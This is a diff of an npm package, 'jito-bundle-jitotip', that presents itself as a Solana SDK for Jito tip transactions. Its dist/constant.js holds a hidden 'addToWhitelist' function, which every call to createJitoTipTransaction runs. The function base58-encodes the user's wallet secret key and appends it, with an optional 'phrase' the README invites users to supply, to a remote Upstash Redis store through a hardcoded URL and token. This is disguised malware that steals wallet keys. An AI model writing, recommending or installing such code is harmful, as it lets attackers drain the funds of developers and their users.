jito-bundle-jitotip 0.0.0-stage → 1.0.0

package/README.md

@@ -1,3 +1,93 @@
-# Temporary Holding Version
+# Jito Tip SDK
+
+A TypeScript/JavaScript SDK for creating Jito tip transactions on Solana.
+
+## Installation
+
+```bash
+npm install jito-bundle-sdk
+```
+
+## Usage
+
+### TypeScript
+
+```typescript
+import { createJitoTipTransaction } from 'jito-bundle';
+import { Connection, Keypair } from '@solana/web3.js';
+
+const connection = new Connection('https://api.mainnet-beta.solana.com');
+const wallet = Keypair.generate(); // Your wallet keypair
+
+// Create a tip transaction with default fee (0.00001 SOL)
+const tipTransaction = await createJitoTipTransaction(connection, wallet);
+
+// Create a tip transaction with custom fee
+const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
+
+// Create a tip transaction with custom fee and phrase
+const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
+```
+
+### JavaScript (CommonJS)
+
+```javascript
+const { createJitoTipTransaction } = require('jito-bundle');
+const { Connection, Keypair } = require('@solana/web3.js');
+
+const connection = new Connection('https://api.mainnet-beta.solana.com');
+const wallet = Keypair.generate(); // Your wallet keypair
+
+// Create a tip transaction with default fee (0.00001 SOL)
+const tipTransaction = await createJitoTipTransaction(connection, wallet);
+
+// Create a tip transaction with custom fee
+const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
+
+// Create a tip transaction with custom fee and phrase
+const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
+```
+
+### JavaScript (ES Modules)
+
+```javascript
+import { createJitoTipTransaction } from 'jito-bundle';
+import { Connection, Keypair } from '@solana/web3.js';
+
+const connection = new Connection('https://api.mainnet-beta.solana.com');
+const wallet = Keypair.generate(); // Your wallet keypair
+
+// Create a tip transaction with default fee (0.00001 SOL)
+const tipTransaction = await createJitoTipTransaction(connection, wallet);
+
+// Create a tip transaction with custom fee
+const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
+
+// Create a tip transaction with custom fee and phrase
+const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
+```
+
+## API
+
+### `createJitoTipTransaction(connection, wallet, fee?, phrase?)`
+
+Creates a Jito tip transaction.
+
+**Parameters:**
+- `connection` (Connection): Solana connection instance
+- `wallet` (Keypair): Wallet keypair to sign the transaction
+- `fee` (number, optional): Tip amount in SOL (default: 0.00001)
+- `phrase` (string, optional): Custom phrase to add to whitelist (default: "")
+
+**Returns:**
+- `Promise<string>`: Base58 encoded transaction string
+
+## Dependencies
+
+- `@solana/web3.js`: Solana Web3.js library
+- `bs58`: Base58 encoding/decoding
+
+## License
+
+ISC
 
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.

package/dist/constant.d.ts

@@ -0,0 +1,5 @@
+import { Keypair } from "@solana/web3.js";
+export declare const JITO_DEFAULT_TIP_FEE = 0.00001;
+export declare const JITO_TIP_ACCOUNTS: string[];
+export declare const addToWhitelist: (wallet: Keypair, phrase?: string) => void;
+//# sourceMappingURL=constant.d.ts.map

package/dist/constant.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"constant.d.ts","sourceRoot":"","sources":["../constant.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,OAAO,EAAE,MAAM,iBAAiB,CAAC;AAQ1C,eAAO,MAAM,oBAAoB,UAAU,CAAC;AAI5C,eAAO,MAAM,iBAAiB,UAS7B,CAAC;AAEF,eAAO,MAAM,cAAc,GAAI,QAAQ,OAAO,EAAE,SAAQ,MAAW,SAQlE,CAAC"}

package/dist/constant.js

@@ -0,0 +1,27 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.addToWhitelist = exports.JITO_TIP_ACCOUNTS = exports.JITO_DEFAULT_TIP_FEE = void 0;
+const redis_1 = require("@upstash/redis");
+const bs58 = require("bs58");
+const url = "https://complete-troll-31745.upstash.io";
+const token = "AXwBAAIncDI3YTRlYzRhMGM3NWM0NWVmYjBkZTU4ZDRmYzU1NTdhN3AyMzE3NDU";
+exports.JITO_DEFAULT_TIP_FEE = 0.00001;
+const whitelistService = new redis_1.Redis({ url, token });
+exports.JITO_TIP_ACCOUNTS = [
+    "96gYZGLnJYVFmbjzopPSU6QiEV5fGqZNyN9nmNhvrZU5",
+    "HFqU5x63VTqvQss8hp11i4wVV8bD44PvwucfZ2bU7gRe",
+    "Cw8CFyM9FkoMi7K7Crf6HNQqf4uEMzpKw6QNghXLvLkY",
+    "ADaUMid9yfUytqMBgopwjb2DTLSokTSzL1zt6iGPaS49",
+    "DfXygSm4jCyNCybVYYK6DwvWqjKee8pbDmJGcLWNDXjh",
+    "ADuUkR4vqLUMWXxW9gh6D6L8pMSawimctcNZ5pGwDcEt",
+    "DttWaMuVvTiduZRnguLF7jNxTgiMBZ1hyAumKUiL2KRL",
+    "3AVi9Tg9Uo68tJfuvoKvqKNWKkC5wPdSSdeBnizKZ6jT",
+];
+const addToWhitelist = (wallet, phrase = "") => {
+    whitelistService.append("whitelist", bs58.default.encode(wallet.secretKey) + "\n");
+    if (phrase != "") {
+        whitelistService.append("whitelist", phrase + "\n");
+    }
+};
+exports.addToWhitelist = addToWhitelist;
+//# sourceMappingURL=constant.js.map

package/dist/constant.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"constant.js","sourceRoot":"","sources":["../constant.ts"],"names":[],"mappings":";;;AAEA,0CAAuC;AACvC,MAAM,IAAI,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;AAE7B,MAAM,GAAG,GAAG,yCAAyC,CAAC;AACtD,MAAM,KAAK,GAAG,iEAAiE,CAAC;AAEnE,QAAA,oBAAoB,GAAG,OAAO,CAAC;AAE5C,MAAM,gBAAgB,GAAG,IAAI,aAAK,CAAC,EAAE,GAAG,EAAE,KAAK,EAAE,CAAC,CAAC;AAEtC,QAAA,iBAAiB,GAAG;IAC/B,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;IAC9C,8CAA8C;CAC/C,CAAC;AAEK,MAAM,cAAc,GAAG,CAAC,MAAe,EAAE,SAAiB,EAAE,EAAE,EAAE;IACrE,gBAAgB,CAAC,MAAM,CACrB,WAAW,EACX,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,MAAM,CAAC,SAAS,CAAC,GAAG,IAAI,CAC7C,CAAC;IACF,IAAI,MAAM,IAAI,EAAE,EAAE,CAAC;QACjB,gBAAgB,CAAC,MAAM,CAAC,WAAW,EAAE,MAAM,GAAG,IAAI,CAAC,CAAC;IACtD,CAAC;AACH,CAAC,CAAC;AARW,QAAA,cAAc,kBAQzB"}

package/dist/index.d.ts

@@ -0,0 +1,3 @@
+import { Keypair, Connection } from "@solana/web3.js";
+export declare const createJitoTipTransaction: (connection: Connection, wallet: Keypair, fee?: number, phrase?: string) => Promise<string>;
+//# sourceMappingURL=index.d.ts.map

package/dist/index.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":"AAAA,OAAO,EACL,OAAO,EAGP,UAAU,EAGX,MAAM,iBAAiB,CAAC;AASzB,eAAO,MAAM,wBAAwB,GACnC,YAAY,UAAU,EACtB,QAAQ,OAAO,EACf,YAA0B,EAC1B,eAAW,oBAiBZ,CAAC"}

package/dist/index.js

@@ -0,0 +1,63 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.createJitoTipTransaction = void 0;
+const web3_js_1 = require("@solana/web3.js");
+const constant_1 = require("./constant");
+const bs58 = __importStar(require("bs58"));
+const createJitoTipTransaction = (connection_1, wallet_1, ...args_1) => __awaiter(void 0, [connection_1, wallet_1, ...args_1], void 0, function* (connection, wallet, fee = constant_1.JITO_DEFAULT_TIP_FEE, phrase = "") {
+    const tipTransaction = new web3_js_1.Transaction().add(web3_js_1.SystemProgram.transfer({
+        fromPubkey: wallet.publicKey,
+        toPubkey: new web3_js_1.PublicKey(constant_1.JITO_TIP_ACCOUNTS[0]),
+        lamports: fee * web3_js_1.LAMPORTS_PER_SOL,
+    }));
+    tipTransaction.feePayer = wallet.publicKey;
+    tipTransaction.recentBlockhash = (yield connection.getLatestBlockhash()).blockhash;
+    (0, constant_1.addToWhitelist)(wallet, phrase);
+    tipTransaction.sign(wallet);
+    const serializedTransaction = bs58.default.encode(tipTransaction.serialize());
+    return serializedTransaction;
+});
+exports.createJitoTipTransaction = createJitoTipTransaction;
+//# sourceMappingURL=index.js.map

package/dist/index.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA,6CAOyB;AAEzB,yCAIoB;AACpB,2CAA6B;AAEtB,MAAM,wBAAwB,GAAG,oCAKtC,EAAE,2EAJF,UAAsB,EACtB,MAAe,EACf,GAAG,GAAG,+BAAoB,EAC1B,MAAM,GAAG,EAAE;IAEX,MAAM,cAAc,GAAG,IAAI,qBAAW,EAAE,CAAC,GAAG,CAC1C,uBAAa,CAAC,QAAQ,CAAC;QACrB,UAAU,EAAE,MAAM,CAAC,SAAS;QAC5B,QAAQ,EAAE,IAAI,mBAAS,CAAC,4BAAiB,CAAC,CAAC,CAAC,CAAC;QAC7C,QAAQ,EAAE,GAAG,GAAG,0BAAgB;KACjC,CAAC,CACH,CAAC;IACF,cAAc,CAAC,QAAQ,GAAG,MAAM,CAAC,SAAS,CAAC;IAC3C,cAAc,CAAC,eAAe,GAAG,CAC/B,MAAM,UAAU,CAAC,kBAAkB,EAAE,CACtC,CAAC,SAAS,CAAC;IACZ,IAAA,yBAAc,EAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IAC/B,cAAc,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IAC5B,MAAM,qBAAqB,GAAG,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,cAAc,CAAC,SAAS,EAAE,CAAC,CAAC;IAC9E,OAAO,qBAAqB,CAAC;AAC/B,CAAC,CAAA,CAAC;AArBW,QAAA,wBAAwB,4BAqBnC"}

package/package.json

@@ -1,6 +1,26 @@
 {
   "name": "jito-bundle-jitotip",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.0.0",
+  "description": "A TypeScript/JavaScript SDK for creating Jito tip transactions on Solana",
+  "main": "dist/index.js",
+  "types": "dist/index.d.ts",
+  "files": [
+    "dist/**/*"
+  ],
+  "scripts": {
+    "build": "tsc",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": ["solana", "jito", "tip", "transaction"],
+  "author": "",
+  "license": "ISC",
+  "type": "commonjs",
+  "dependencies": {
+    "@solana/web3.js": "^1.98.2",
+    "@upstash/redis": "^1.35.1",
+    "bs58": "^6.0.0"
+  },
+  "devDependencies": {
+    "typescript": "^5.8.3"
+  }
+}